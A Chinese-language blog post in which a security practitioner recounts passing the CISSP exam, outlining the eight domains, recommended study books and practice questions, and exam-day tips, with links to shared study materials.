https://pan.baidu.com/s/1smPfmkH
CISSP考试一次通过指南(文末附福利)
本文属i春秋原创奖励计划,未经许可禁止转载!
日,在上海黄浦区汉口路亚洲大厦17层通过了CISSP认证考试,拖拉了一年,终于成绩还算令人满意,为攒人品将自己一年多的复习心得和大家分享,希望能够帮到需要考证的朋友。
先简单介绍下本人专业背景吧,本科和硕士专业都是信息安全,算得上科班出生,只是学校里的课程没学扎实,基础一般,毕业后在某大型金融机构做安全,渗透、漏扫、SOC建设大概做了4年,日常的工作和安全技术还是结合得比较紧密,平时也混迹在各大src,打打ctf,动手能力还行,是广大安全从业人员中的普通一员。
一、CISSP介绍
CISSP 英文全称:“ Certified Information Systems Security Professional”,中文全称:“(ISC)?注册信息系统安全专家”,由(ISC)?组织和管理,是目前全球范围内最权威,最专业,最系统的信息安全认证。
CISSP的含金量和认可度还是很高的,考试费用也不菲,599刀,涉及的内容非常广泛,号称安全界的“百科全书”,不过虽然涉及的范围广,但很多都是点到为止, “一英里宽,一英寸深”,这是CISSP最大的特点。
为什么考CISSP?用我们领导的话说,可以迅速建立起个人对安全体系的知识框架,认证+读行业标准是最有效的方法。
二、CISSP复习攻略
决定了考CISSP之后就要尽快的解决战斗,拖的时间越长越对生活有影响,最好在半年内完成复习和考试,本人这次因为种种原因,拖了一年,深刻感受到战线过长的痛苦。
我的复习材料:All in One的第六版中文版+OSG官方学习指南中文版+官方习题英文版
All in one前前后后看了3遍,OSG看了2遍,这两本教材内容基本差不太多,all in one讲的比较细,比较啰嗦,OSG和考纲结合得比较紧,内容也比较紧凑,建议大家直接看OSG即可,但务必要多读几遍,对书中的知识点都要弄懂。
CISSP现在最新的考纲包括8个CBK:
o 安全与风险管理 (安全、风险、合规、法律、法规、业务连续性)
o 资产安全 (保护资产的安全性)
o 安全工程 (安全工程与管理)
o 通信与网络安全 (设计和保护网络安全 )
o 身份与访问管理 (访问控制和身份管理 )
o 安全评估与测试 (设计、执行和分析安全测试)
o 安全运营 (基本概念、调查、事件管理、灾难恢复)
o 软件开发安全 (理解、应用、和实施软件安全)
之所以称之为安全界的“百科全书”,是因为上述8个领域基本涵盖了安全工作中的所有方面,个人在安全评估与测试、安全运营这两个领域有一些实际的经验,其他的领域接触得还不深,所以在复习的时候,针对不熟悉的领域花更多的时间去理解,不懂的多去百度,有的时候百度讲的比教材里更清楚。一定要做笔记,不然书中很多看完就忘了,做笔记可以加深印象。如果有钱,还可以去报辅导班,让辅导老师给你先拎一下复习大纲。
书看完之后可能没有什么感觉,一定要做题,仅仅做书中每个章节的习题是不够的,all in one的习题比较难,OSG的习题比较简单,建议大家还是做官方的习题集,毕竟是官方出的习题,应该是和考试最接近的材料了,不过现在只有英文版的,对于英语一般的朋友可能做起来比较吃力,加之之前看的中文版,很多专有术语都得和英文对上,我在做题的时候也是比较痛苦。官方习题里面很多题目是把官方教材里的某句话的内容扣掉,让你选择,所以做题加看书能够起到很到的看书效果。贴一下我的复习成果吧:
三、考试技巧
CISSP考试最大的特点是没题库可以背。考试里面直接考概念和定义的题目很少。大量场景题,比如给你一段文字描述,说某企业面临了XX问题,问你最佳解决思路是什么。如果没有在安全行业做上几年的经历,很容易被选项的文字迷惑。还有就是大量的优中选最优的问题,往往四个答案都对,需要选出最佳的答案,这个时候就需要把自己当成CSO去考虑安全问题。
考试时间6个小时,大家一定要做好充分的准备,巧克力、红牛、干粮、水都得带足,中间状态不太好的时候可以出来补充能量。时间一般肯定够,所以大家不用特别着急,细心去审题,遇到有问题的可以打个标记跳过,说不定后面的题目会给你带来做题思路。
多用排除法,有些题目可以迅速排除2个选项,剩下的两个自己拿捏一下,往往正确率还可以。考试现在有中文的,翻译一般没啥问题,但是有的可能还是得看一下英文,往往看完英文会更好的理解题目的意思。
考试环境一般都是可以的,这次考试和我同一时间的好多都是考GMAT的学生,考试中心给我单独安排了一个单间,还送了耳塞,考试环境很安静,很nice。
最后,不要怕,不过是一个考试而已。套用到实际工作中去,很多题不知道怎么选,我就想象放到我们公司我会怎么做。
祝大家都能够通过CISSP考试,我的一些复习材料(考试机构的复习题、中英文教材,思维导图)放在百度云盘:https://pan.baidu.com/s/1hr3dwLu a74r
分享给大家,给我的这次备考画上句号。
& tinyfisher 2013

我要回帖

更多关于 ctf加了料的报错注入 的文章

 

随机推荐